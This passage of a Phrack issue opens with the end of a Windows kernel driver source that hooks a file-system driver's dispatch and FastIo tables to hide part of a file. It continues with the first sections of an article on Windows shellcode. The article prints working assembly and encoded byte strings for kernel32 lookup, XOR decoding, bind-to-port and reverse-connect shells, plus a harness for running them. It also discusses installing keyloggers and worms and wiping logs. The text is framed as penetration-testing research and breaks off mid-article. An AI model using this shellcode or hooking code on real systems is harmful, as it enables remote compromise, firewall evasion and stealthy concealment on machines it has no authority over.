//Information types that contains file size or current offset
case FilePositionInformation:
case FileEndOfFileInformation:
case FileStandardInformation:
case FileAllocationInformation:
case FileAllInformation:
//_asm int 3;
HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, Irp->AssociatedIrp.SystemBuffer, CISL->Parameters.QueryFile.FileInformationClass);
}
}
//Call original handler
return OldQueryDisp(DeviceObject, Irp);
}
//Function handles IRP_MJ_SET_INFORMATION
NTSTATUS NewSetInfoDisp (
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
//_asm int 3;
PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
if (CISL->FileObject && ThisIsOurFile(FName))
{
//_asm int 3;
switch (CISL->Parameters.QueryFile.FileInformationClass)
{
//Information types that contains file size or current offset.
//In all cases modify CurrentByteOffset and/or size (EndOfFile)
//to hide first InvisiblePartSize bytes
case FilePositionInformation:
((PFILE_POSITION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->CurrentByteOffset.QuadPart += InvisiblePartSize;
break;
case FileEndOfFileInformation:
((PFILE_END_OF_FILE_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize;
break;
case FileStandardInformation:
((PFILE_STANDARD_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize;
break;
case FileAllocationInformation:
//_asm int 3;
((PFILE_ALLOCATION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->AllocationSize.QuadPart += InvisiblePartSize;
break;
case FileAllInformation:
((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->PositionInformation.CurrentByteOffset.QuadPart += InvisiblePartSize;
((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->StandardInformation.EndOfFile.QuadPart += InvisiblePartSize;
break;
}
}
//Call original handler
return OldSetInfoDisp(DeviceObject, Irp);
}
//Function handles IRP_MJ_DIRECTORY_CONTROL
NTSTATUS NewDirCtlDisp (
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
void *pBuffer;
PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
//_asm int 3;
if ((CISL->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) &&
(CISL->MinorFunction == IRP_MN_QUERY_DIRECTORY))
{
//Handle both ways of passing user supplied buffer
if (Irp->MdlAddress)
pBuffer = MmGetSystemAddressForMdl(Irp->MdlAddress);
else
pBuffer = Irp->UserBuffer;
HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, pBuffer, ((PQUERY_DIRECTORY)(&CISL->Parameters))->FileInformationClass);
}
//Call original handler
return OldDirCtlDisp(DeviceObject, Irp);
}
#undef FName
//Function handles FastIoRead
BOOLEAN NewFastIoRead(
IN PFILE_OBJECT FileObject,
IN PLARGE_INTEGER FileOffset,
IN ULONG Length,
IN BOOLEAN Wait,
IN ULONG LockKey,
OUT PVOID Buffer,
OUT PIO_STATUS_BLOCK IoStatus,
IN PDEVICE_OBJECT DeviceObject
)
{
LARGE_INTEGER NewFileOffset;
//_asm int 3;
if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
{
//_asm int 3;
//Modify FileOffset to hide first InvisiblePartSize bytes
NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
return OldFastIoReadDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer,
IoStatus, DeviceObject);
}
//Call original handler
return OldFastIoReadDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
IoStatus, DeviceObject);
}
//Function handles FastIoWrite
BOOLEAN NewFastIoWrite(
IN PFILE_OBJECT FileObject,
IN PLARGE_INTEGER FileOffset,
IN ULONG Length,
IN BOOLEAN Wait,
IN ULONG LockKey,
OUT PVOID Buffer,
OUT PIO_STATUS_BLOCK IoStatus,
IN PDEVICE_OBJECT DeviceObject
)
{
LARGE_INTEGER NewFileOffset;
//_asm int 3;
if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
{
//_asm int 3;
//Modify FileOffset to hide first InvisiblePartSize bytes
NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
return OldFastIoWriteDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer,
IoStatus, DeviceObject);
}
return OldFastIoWriteDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
IoStatus, DeviceObject);
}
//Function handles FastIoQueryStandartInfo
BOOLEAN NewFastIoQueryStandartInfo(
IN struct _FILE_OBJECT *FileObject,
IN BOOLEAN Wait,
OUT PFILE_STANDARD_INFORMATION Buffer,
OUT PIO_STATUS_BLOCK IoStatus,
IN struct _DEVICE_OBJECT *DeviceObject
)
{
//Call original handler
BOOLEAN status = OldFastIoQueryStandartInfoDisp(FileObject, Wait, Buffer, IoStatus, DeviceObject);
if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
{
//_asm int 3;
//Modify EndOfFile to hide first InvisiblePartSize bytes
Buffer->EndOfFile.QuadPart -= InvisiblePartSize;
}
return status;
}
extern "C"
NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
IN PUNICODE_STRING ObjectPath,
IN ULONG Attributes,
IN PACCESS_STATE PassedAccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID *ObjectPtr
);
extern "C" PVOID IoDriverObjectType;
//Function hooks given dispatch function (MajorFunction)
VOID InterceptFunction(UCHAR MajorFunction,
PDRIVER_OBJECT pDriverObject,
OPTIONAL PDRIVER_DISPATCH *OldFunctionPtr,
OPTIONAL PDRIVER_DISPATCH NewFunctionPtr)
{
PDRIVER_DISPATCH *TargetFn;
TargetFn = &(pDriverObject->MajorFunction[MajorFunction]);
//hook only if handler exists
if (*TargetFn)
{
if (OldFunctionPtr) *OldFunctionPtr = *TargetFn;
if (NewFunctionPtr) *TargetFn = NewFunctionPtr;
}
}
//Function hooks given driver's dispatch functions
NTSTATUS Intercept(PWSTR pwszDeviceName)
{
UNICODE_STRING DeviceName;
NTSTATUS status;
KIRQL OldIrql;
_asm int 3;
pDriverObject = NULL;
RtlInitUnicodeString(&DeviceName, pwszDeviceName);
status = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDriverObject);
if (pDriverObject)
{
//Raise IRQL to avoid context switch
//when some pointer is semi-modified
KeRaiseIrql(HIGH_LEVEL, &OldIrql);
//hook dispatch functions
InterceptFunction(IRP_MJ_READ, pDriverObject, &OldReadDisp, NewReadWriteDisp);
InterceptFunction(IRP_MJ_WRITE, pDriverObject, &OldWriteDisp, NewReadWriteDisp);
InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, &OldQueryDisp, NewQueryDisp);
InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, &OldSetInfoDisp, NewSetInfoDisp);
InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, &OldDirCtlDisp, NewDirCtlDisp);
//hook FastIo dispatch functions if FastIo table exists
if (pDriverObject->FastIoDispatch)
{
//?? ?????? ?????? ???? ? w2k [rus]
//It would be better to copy FastIo table to avoid
//messing with kernel memory protection, but it works as it is
OldFastIoReadDisp = pDriverObject->FastIoDispatch->FastIoRead;
pDriverObject->FastIoDispatch->FastIoRead = NewFastIoRead;
OldFastIoWriteDisp = pDriverObject->FastIoDispatch->FastIoWrite;
pDriverObject->FastIoDispatch->FastIoWrite = NewFastIoWrite;
OldFastIoQueryStandartInfoDisp = pDriverObject->FastIoDispatch->FastIoQueryStandardInfo;
pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = NewFastIoQueryStandartInfo;
}
KeLowerIrql(OldIrql);
}
return status;
}
//Function cancels hooking
VOID UnIntercept()
{
KIRQL OldIrql;
if (pDriverObject)
{
KeRaiseIrql(HIGH_LEVEL, &OldIrql);
InterceptFunction(IRP_MJ_READ, pDriverObject, NULL, OldReadDisp);
InterceptFunction(IRP_MJ_WRITE, pDriverObject, NULL, OldWriteDisp);
InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, NULL, OldQueryDisp);
InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, NULL, OldSetInfoDisp);
InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, NULL, OldDirCtlDisp);
if (pDriverObject->FastIoDispatch)
{
pDriverObject->FastIoDispatch->FastIoRead = OldFastIoReadDisp;
pDriverObject->FastIoDispatch->FastIoWrite = OldFastIoWriteDisp;
pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = OldFastIoQueryStandartInfoDisp;
}
KeLowerIrql(OldIrql);
ObDereferenceObject(pDriverObject);
}
}
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0xXX, Issue 0x3e, Phile #0x07 of 0x10
|=-----------=[ History and Advances in Windows Shellcode ]=-------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ sk <sk at scan-associates d0t net> ]=----------------=|
|=------------------------=[ June 22nd, 2004 ]=--------------------------=|
--[ Contents
1. Abstract
2. Introduction to shellcode
a. Why shellcode?
b. Windows shellcode skeleton
i. Getting EIP
ii. Decoder
iii. Getting address of required function
iv. Locating Kernel32 base memory
v. Getting GetProcAddress()
vi. Getting other functions by name
vii. Spawning a shell
c. Compiling our shellcode
3. The connection
a. Bind to port shellcode
i. Bind to port shellcode implementation
ii. Problem with Bind to port shellcode
b. Reverse connect
i. Reverse connect shellcode implementation
ii. Problem with reverse connect shellcode
4. One-way shellcode
a. Find socket shellcode
i. Problem with find socket shellcode
b. Reuse address shellcode
i. Reuse address shellcode implementation
ii. Problem with reuse address shellcode
c. Rebind socket
i. Rebind socket shellcode implementation
d. Other one-way shellcode
5. Transferring file using shellcode
a. Uploading file with debug.exe
b. Uploading file with VBS
c. Retrieving file from command line
6. Avoiding IDS detection
7. Restarting vulnerable service
8. End of shellcode?
9. Greetz!
10. References
11. The code
--[ 1. Abstract
Firewall is everywhere in the Internet now. Most of the exploits
released in the public have little concern over firewall rules
because they are just proof of concept. In real world, we would
encounter targets with firewall that will make exploitation harder.
We need to overcome these obstacles for a successful penetration
testing job. The research of this paper started when we need to take
over (own) a machine which is heavily protected with rigid firewall
rules. Although we can reach the vulnerable service but the strong
firewall rules between us and the server hinder all standard exploits
useless.
The objective of the research is to find alternative ways which allow
penetration tester to take control of a machine after a successful
buffer overflow. A successful buffer overflow in a sense that it will
eventually leads to arbitrary code execution. These alternative
mechanisms should succeed where others fail even in the most rigid
firewall rules.
In our research to find a way to by pass these troublesome firewall
rules, we looked into various existing techniques used by exploits in
the public and why they fail. Then, we found several mechanisms that
will work, but dependence to the vulnerable service. Although we can
take over the server using these techniques, we take one step further
to develop a more generic technique which is not dependence to any
service and can be reuse in most other buffer overflows.
This paper will start with dissection on a standard Win32 shellcode
as an introduction. We will then explore the techniques being used by
proof of concept codes to allow attacker to control the target and
their limitations. Then, we will introduce a few alternatives
techniques which we call "One-way shellcode" and how they may by pass
firewall rules. Finally, we also discussed on a possible way to
transfer file from command line without breaking the firewall rule.
--[ 2. Introduction to shellcode
An exploit usually consists of two major components:
1. Exploitation technique
2. Payload
The objective of the exploitation part is to divert the execution
path of the vulnerable program. We can achieve that via one of these
techniques:
- Stack-based Buffer Overflow
- Heap-based Buffer Overflow
- Format String
- Integer Overflow
- Memory corruption, etc
Even though we may use one or more of those exploitation techniques
to control the execution path of a program, each vulnerability need
to be exploited differently. Every vulnerability has different way to
trigger the bug. We may use different buffer size or character set to
trigger the overflow. Although we can probably use the same technique
for vulnerabilities in the same class, we cannot use the same code.
Once we control of the execution path, we probably want it to execute
our code. Thus, we need to include these code or instruction set in
our exploit. The part of code which allows us to execute arbitrary
code is known as payload. The payload can virtually do everything a
computer program can do with the permission of the vulnerable service.
A payload that spawns you a shell is known as a shellcode. It allows
interactive command execution. Unlike Exploitation technique, a well
designed shellcode can easily be reused in other exploits. We will
try to build shellcode that can be reused. A basic requirement of a
shellcode is the shell and a connection that allow use to use it
interactively.
--[ 2.a Why shellcode?
Why shellcode? Simply because it is the simplest way that allows the
attacker to explore the target system interactively. It might give
the attacker the ability to discover internal network, to further
penetrate into other computers. A simple "net view /domain" command
in Windows box would review many other easy targets.
A shell may also allow upload/download file/database, which is
usually needed as proof of successful pen-test. You also may easily
install trojan horse, key logger, sniffer, Enterprise worm, WinVNC,
etc. An Enterprise Worm could be a computer worm which was written
specifically to infect other machine in the same domain using the
credential of the primary domain controller.
A shell is also useful to restart the vulnerable services. This will
keep the service running and your client happy. But more importantly,
restarting the vulnerable service usually allow us to attack the
service again. We also may clean up traces like log files and events
with a shell. There are just many other possibilities.
However, spawning a shell is not the only thing you can do in your
payload. As demonstrated by LSD in their Win32 ASM component, you can
create a payload that loop and wait for command from the attacker.
The attacker could issue a command to the payload to create new
connection, upload/download file or spawn a shell. There are also a
few others payload strategies in which the payload will loop and wait
for additional payload from the attacker.
Regardless whether a payload is spawning a shell or loop to wait for
instructions, it still needs to communicate with the attacker.
Although we are using payload that spawns a shell throughout this
article, the mechanisms being use for communication can be use in
other payload strategy.
--[ 2.b Windows shellcode skeleton
Shellcode usually start by getting to know where you are during the
execution by grapping the EIP value. And then, a decoding process
will take place. The process will then jump into the decoded memory
area where execution can continue. Before we can do anything useful,
we need to find addresses of all functions and API that we need to
use in the shellcode. With that, we can setup a socket, and finally
spawn a shell.
- Getting EIP
- Decoder
- Getting addresses of required functions
- Setup socket
- Spawning shell
Let's look into what these components suppose to do, in greater
detail.
--[ 2.b.i Getting EIP
We would like to make our shellcode as reusable as possible. For that,
we will avoid using any fixed address which could change in different
environment. We will use relative addressing as much as we could. To
start with, we need to know where we are in the memory. This address
will be our base address. Any variable or function in the shellcode
will be relative to this address. To get this address, we can use a
CALL and a POP instruction. As we already know, whenever we are
calling a function, the return value is push into the stack just
before the function is called. So, if the first thing we do in the
function is a POP command, we will obtain the return value in a
register. As shown below, EAX will be 451005.
450000:
label1: pop eax
450005: ... (eax = 451005)
451000: call label1 ;start here!
451005:
Most likely you will find something similar to the code below in a
shellcode, which does about the same thing.
450000: jmp label1
450002:
label2: jmp cont
450004:
label1: call label2
450009:
cont: pop eax
... (eax = 450009)
Another interesting mechanism being use to obtain the EIP is to make
use of a few special FPU instructions. This was implemented by Aaron
Adams in Vuln-Dev mailing list in the discussion to create pure ASCII
shellcode. The code uses fnstenv/fstenv instructions to save the
state of the FPU environment.
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
ECX will hold the address of the EIP. However, these instructions
will generate non-standard ASCII characters.
--[ 2.b.ii Decoder
Buffer overflow usually will not allow NULL and a few special
characters. We can avoid using these characters by encoding our
shellcode. The easiest encoding scheme is the XOR encoding. In this
encoding, we will XOR each char in our shellcode with a predefined
value. During execution, a decoder will translate the rest of the
code back to real instruction by XOR it again with the predefined
value. As shown here, we can set the number of byte we want to decode
in ecx, and while eax is pointing to the starting point of our
encoded shellcode. We xor the destination byte by byte with 0x96
until the loop over. There are other more advance encoding schemes,
of cause. We can use a DWORD xor value instead of a char to encode 4
bytes at a time. We also may break the code apart by encoding them
using a different xor key. All with the purpose to get rid of
unusable chars in our shellcode.
xor ecx, ecx
mov cl, 0C6h ;size
loop1:
inc eax
xor byte ptr [eax], 96h
loop loop1
The Metasploit project (http://metasploit.com/) contains a few very
useful encoders worth checking.
--[ 2.b.iii Getting address of required function
After the decoding process, we will jump into the memory area where
the decoded shellcode start to continue our execution. Before we can
do anything useful, we must locate the address of all APIs that we
need to use and store it in a jump table. We are not going to use any
fixed address to API because it is different between service packs.
To get the address of API we need, we can use an API called
GetProcAddress(). By supplying the name of the function we need to
this API, it will return the address where we can call to use it. To
obtain the address of GetProcAddress() itself, we can search the
export table of the Kernel32.dll in the memory. Kernel32.dll image is
located predefined in a memory location depending on the OS.
- NT - 0x77f00000
- 2kSP2 & SP3 - 0x77e80000
- WinXP - 0x77e60000
Since we know the default base memory of kernel32.dll is located at
these locations, we can start looping backward from 0x77f00000 to
look for "MZ\x90" byte sequences. Kernel32 start with "MZ\x90" mark
just like any Windows application. This trick was used by High Speed
Junky (HSJ) in his exploit and it works quite nicely for all the
above OS and service pack. However Windows 2000 SP4's Kernel32.dll is
located at 0x7c570000. In order to scan the memory from 0x77f00000,
we need to setup an exception handler that will catch invalid memory
access.
--[ 2.b.iv Locating Kernel32 base memory
However, there is a better method to get the kernel32 base memory.
Using the fs selector, we can get into our PEB. By searching the
PEB_LDR_DATA structure, we will find the list of DLL which our
vulnerable program initialized when it start. The list of DLL will be
loaded in sequence, first, NTDLL, followed by Kernel32. So, by
traveling one nod forward in the list, we will get the base memory of
the Kernel32.dll. This technique, complete with the code, has been
published by researchers in VX-zine, then used by LSD in their
Windows Assembly component.
mov eax,fs:[30h] ; PEB base
mov eax,[eax+0ch] ; goto PEB_LDR_DATA
; first entry in InInitializationOrderModuleList
mov esi,[eax+1ch]
lodsd ; forward to next LIST_ENTRY
mov ebx,[eax+08h] ; Kernel32 base memory
--[ 2.b.v Getting GetProcAddress()
Once we know the base address of Kernel32.dll, we can locate its
Export Table and look for "GetProcAddress" string. We also can get
the total of exported functions. Using the number, we loop until we
find the string.
mov esi,dword ptr [ebx+3Ch] ;to PE Header
add esi,ebx
mov esi,dword ptr [esi+78h] ;to export table
add esi,ebx
mov edi,dword ptr [esi+20h] ;to export name table
add edi,ebx
mov ecx,dword ptr [esi+14h] ;number of exported function
push esi
xor eax,eax ;our counter
For each address in the jump table, we will check if the destination
name is match with "GetProcAddress". If not, we increase EAX by one
and continue searching. Once we found a match, EAX will be holding
our counter. Using the following formula, we can obtain the real
address of GetProcAddress().
ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base
We count until we reach "GetProcAddress". Multiply the index by 2,
add it to the address of exported ordinals table. It should now point
to the ordinal of GetProcAddress(). Take the value, multiply it by 4.
Total it up with the address of the addrress of the table and
Kernel32 base address, we will get the real address of the
GetProcAddress(). We can use the same technique to get the address of
any exported function inside Kernel32.
--[ 2.b.vi Getting other functions by name
Once we get the address of GetProcAddress(), we can easily obtain
address of any other API. Since there are quite a number of APIs that
we need to use, we (actually, most of these codes were dissass from
HSJ's exploit) build a function that take a function name and return
the address. To use the function, set ESI pointing to the name of the
API we want to load. It must be NULL terminated. Set EDI point to the
jump table. A jump table is just a location where we store all
addresses of API we need to call. Set ECX to number of API we want it
to resolve.
In this example, we call to load 3 APIs:
mov edi,esi ;EDI is the output, our jump table
xor ecx,ecx
mov cl,3 ;Load 3 APIs
call loadaddr
The "loadaddr" function that get the job done:
loadaddr:
mov al,byte ptr [esi]
inc esi
test al,al
jne loadaddr ;loop till we found a NULL
push ecx
push edx
push esi
push ebx
call edx ;GetProcAddress(DLL, API_Name);
pop edx
pop ecx
stosd ;write the output to EDI
loop loadaddr ;loop to get other APIs
ret
--[ 2.b.vii Spawning a shell
Once we have gone thru those troublesome API address loading, we can
finally do something useful. To spawn a shell in Windows, we need to
call the CreateProcess() API. To use this API, we need to set up the
STARTUPINFO in such a way that, the input, output and error handler
will be redirected to a socket. We also will set the structure so
that the process will have no window. With the structure setup, we
just need to call CreateProcess to launch "cmd.exe" to get an
interactive command shell in windows.
;ecx is 0
mov byte ptr [ebp],44h ;STARTUPINFO size
mov dword ptr [ebp+3Ch],ebx ;output handler
mov dword ptr [ebp+38h],ebx ;input handler
mov dword ptr [ebp+40h],ebx ;error handler
;STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW
mov word ptr [ebp+2Ch],0101h
lea eax,[ebp+44h]
push eax
push ebp
push ecx
push ecx
push ecx
inc ecx
push ecx
dec ecx
push ecx
push ecx
push esi
push ecx
call dword ptr [edi-28] ;CreateProcess
--[ 2.c Compiling our shellcode
The Code section in the end of the paper contains source code
bind.asm. bind.asm is a complete shellcode written in Assembly
Language which will create a shell in Windows and bind it to a
specific port. Compile bind.asm:
# tasm -l bind.asm
It will produce 2 files:
1. bind.obj - the object code
2. bind.lst - assembly listing
If we open bind.obj with a hex editor, we will see that the object
code start with something similar to this:
01) 80 0A 00 08 62 69 6E 64-2E 61 73 6D 62 88 20 00 ....bind.asmb. .
02) 00 00 1C 54 75 72 62 6F-20 41 73 73 65 6D 62 6C ...Turbo Assembl
03) 65 72 20 20 56 65 72 73-69 6F 6E 20 34 2E 31 99 er Version 4.1.
04) 88 10 00 40 E9 49 03 81-2F 08 62 69 6E 64 2E 61 ...@.I../.bind.a
05) 73 6D 2F 88 03 00 40 E9-4C 96 02 00 00 68 88 03 sm/...@.L....h..
06) 00 40 A1 94 96 0C 00 05-5F 54 45 58 54 04 43 4F .@......_TEXT.CO
07) 44 45 96 98 07 00 A9 B3-01 02 03 01 FE 96 0C 00 DE..............
08) 05 5F 44 41 54 41 04 44-41 54 41 C2 98 07 00 A9 ._DATA.DATA.....
09) 00 00 04 05 01 AE 96 06-00 04 46 4C 41 54 39 9A ..........FLAT9.
10) 02 00 06 5E 96 08 00 06-44 47 52 4F 55 50 8B 9A ...^....DGROUP..
11) 04 00 07 FF 02 5A 88 04-00 40 A2 01 91 A0 B7 01 .....Z...@......
12) 01 00 00 EB 02 EB 05 E8-F9 FF FF FF 58 83 C0 1B ............X...
13) ...
14) 5A 59 AB E2 EE C3 99 8A-07 00 C1 10 01 01 00 00 ZY..............
15) 9C 6D 8E 06 D2 7C 26 F6-06 05 00 80 74 0E F7 06 .m...|&.....t...
Our shellcode start with hex code of 0xEB, 0x02 as show in line 12 of
the partial hex dump above. It will end with 0xC3 as shown in line 14.
We need to use a hex editor to remove the first 176 bytes and the
last 26 bytes. (You don't need to do this if you are using NASM
compiler, but the author has been using TASM since his MS-DOS age).
Now that we have the shellcode in its pure binary form, we just need
to build a simple program that read from this file and produce the
corresponding hex value in a C string. Refer to the Code section
(xor.cpp) for the code that will do that. The output of the program
is our shellcode in C string syntax:
# xor bind.obj
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
"\xE2\xEE\xC3";
--[ 3 The connection
We have seen some of the basic building block of a shellcode. But we
have not cover the connection part of the shellcode. As mentioned, a
shellcode needs a shell and a connection to allow interactive command.
We want to be able to send any command and see the output. Regardless
if we are spawning a shell, transferring file or loop to wait for
further command, we need to setup a connection. There are three
published techniques: Bind to port, Reverse connect and Find socket
shellcode. We will look into each one of these, as well as their
limitation. Along the way, various exploits that uses these shellcode
will be demonstrated to get a better understanding.
--[ 3.a Bind to port shellcode
Bind to port shellcode is popular being used in proof of concept
exploit. The shellcode setup a socket, bind it to a specific port and
listen for connection. Upon accepting a connection, you spawn a shell.
This following APIs are needed for this type of connection:
- WSASocket()
- bind()
- listen()
- accept()
It is important to note that we are using WSASocket() and not
socket() to create a socket. Using WSASocket will create a socket
that will not have an overlapped attribute. Such socket can be use
directly as a input/output/error stream in CreateProcess() API. This
eliminates the need to use anonymous pipe to get input/output from a
process which exist in older shellcode. The size of the shellcode
shrinks quite a bit using this technique. It was first introduced by
David Litchfield. You can find many of Bind too port shellcode in
Packetstorm Security by debugging shellcode of these exploits:
- slxploit.c
- aspcode.c
- aspx_brute.c
--[ 3.a.1 Bind to port shellcode implementation
mov ebx,eax
mov word ptr [ebp],2
mov word ptr [ebp+2],5000h ;port
mov dword ptr [ebp+4], 0 ;IP
push 10h
push ebp
push ebx
call dword ptr [edi-12] ;bind
inc eax
push eax
push ebx
call dword ptr [edi-8] ;listen (soc, 1)
push eax
push eax
push ebx
call dword ptr [edi-4] ;accept
Compiling bind.asm will create shellcode (435 bytes) that will work
with any service pack. We will test the bind to port shellcode using
a simple testing program - testskode.cpp. Copy the shellcode (in C
string) generated the xor program and parse it into testskode.cpp:
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
// this is the bind port of the shellcode
*(unsigned short *)&shellcode[0x134] = htons(1212) ^ 0x0000;
void *ma = malloc(10000);
memcpy(ma,shellcode,sizeof(shellcode));
__asm
{
mov eax,ma
int 3
jmp eax
}
free(ma);
Compile and running testskode.cpp will result in a break point just
before we jump to the shellcode. If we let the process continue, it
will bind to port 1212 and ready to accept connection. Using netcat,
we can connect to port 1212 to get a shell.
--[ 3.a.2 Problem with bind to port shellcode
Using proof of concept exploit with bind to port shellcode against
server in organization with firewall usually will not work. Even
though we successfully exploited the vulnerability and our shellcode
executed, we will have difficulties connecting to the bind port.
Usually, firewall will allow connection to popular services like port
25, 53, 80, etc. But usually these ports are already in used by other
applications. Sometimes the firewall rules just did not open these
ports. We have to assume that the firewall block every port, expect
for the port number of the vulnerable service.
--[ 3.b Reverse connect shellcode
To overcome the limitation of bind to port shellcode, many exploits
prefer to use reverse connection shellcode. Instead of binding to a
port waiting for connection, the shellcode simply connect to a
predefined IP and port number to drop it a shell.
We must include our IP and port number which the target must connect
to give a shell in the shellcode. We also must run netcat or anything
similar in advance, ready to accept connection. Of cause, we must be
using IP address which the victim machine is reachable. Thus, usually
we use public IP.
The following APIs are needed to setup this type of connection:
You can find many of these examples in Packetstorm Security by
debugging shellcode of these exploits:
- jill.c
- iis5asp_exp.c
- sqludp.c
- iis5htr_exp.c
--[ 3.b.1 Reverse connect shellcode implementation
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
call dword ptr [edi-8] ;WSASocketA
mov ebx,eax
mov word ptr [ebp],2
mov word ptr [ebp+2],5000h ;port in network byte order
mov dword ptr [ebp+4], 2901a8c0h ;IP in network byte order
push 10h
push ebp
push ebx
call dword ptr [edi-4] ;connect
Compiling reverse.asm will create shellcode (384 bytes) that will
work with any service pack. We will use this shellcode in our
JRun/ColdFusion exploit. However there is still one problem. This
exploit will not accept NULL character. We need to encode our
shellcode with an XOR shield. We can use the xor.cpp to encode our
shellcode using its third parameter.
First, let's compile reverse.asm:
# \tasm\bin\tasm -l reverse.asm
Then, hex-edit reverse.obj to get our shellcode. Refer to bind to
port shellcode on how to do it. Now, use xor.cpp to print the
shellcode:
# xor reverse.obj
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA\xE8\x60\x00\x00\x00\x47\x65\x74\x50\x72\x6F\x63"
...
The first 36 bytes of the shellcode is our decoder. It has been
carefully crafted to avoid NULL. We keep this part of the shellcode.
Then, we run xor.cpp again with an extra parameter to xor the code
with 0x96.
# xor reverse.obj 96
BYTE shellcode[384] = ""
"\x7D\x94\x7D\x93\x7E\x6F\x69\x69\x69\xCE\x15\x56\x8D\x1B\x36\x97"
"\x6A\x69\x69\x15\x72\x6A\x1D\x7A\xA5\x5F\xF0\x2F\xCD\x97\x16\xA6"
"\x00\xD6\x74\x6C\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";
We take bytes sequence from the 37th bytes onwards. Combine the
encoder and the xored shellcode, we will get the actual shellcode
that we can use in our exploit.
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA"
"\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";
We can use the following statements in our exploit to change the IP
and port to our machine which has netcat listening for a shell.
- (unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x96969696;
- (unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696;
The JRun/ColdFusion exploit is attached in the Code section
(weiwei.pl). The exploit uses Reverse connect shellcode.
--[ 3.b.2 Problem with reverse connect shellcode
It is not unusual to find server which has been configure to block
out going connection. Firewall usually blocks all outgoing connection
from DMZ.
--[ 4 One-Way shellcode
With the assumption that firewall has been configured with the
following rules:
- Blocks all ports except for listening ports of the services
- Blocks all outgoing connections from server
Is there any way to control the server remotely? In some case, it is
possible to use existing resources in the vulnerable service to
establish the control. For example, it may be possible to hook
certain functions in the vulnerable service so that it will take over
socket connection or anything similar. The new function may check any
network packet for a specific signature. If there is, it may execute
command that attached along with the network packet. Otherwise, the
packet passes to the original function. We can then connect to the
vulnerable service with our signature to trigger a command execution.
As early as in 2001, Code Red worm uses some sort of function hooking
to deface web site
(http://www.eeye.com/html/Research/Advisories/AL20010717.html).
Another alternative will be to use resources that available from the
vulnerable service. It is also possible to patch the vulnerable
service to cripple the authentication procedure. This will be useful
for services like database, telnet, ftp, SSH and alike. In the case
of Web server, it is possible to create PHP/ASP/CGI pages in the web
root that will allow remote command execution via web pages. The
shellcode in the following link create an ASP page, as implemented by
Mikey (Michael Hendrickx):
http://users.pandora.be/0xffffffce/scanit/tools/sc_aspcmd.c
Code Red 2 worm also has a very interesting method to create a
backdoor of an IIS server. It creates a virtual path to drive C: and
D: of the server to the web root. Using these virtual paths, attacker
can execute cmd.exe which will then allow remote command execution:
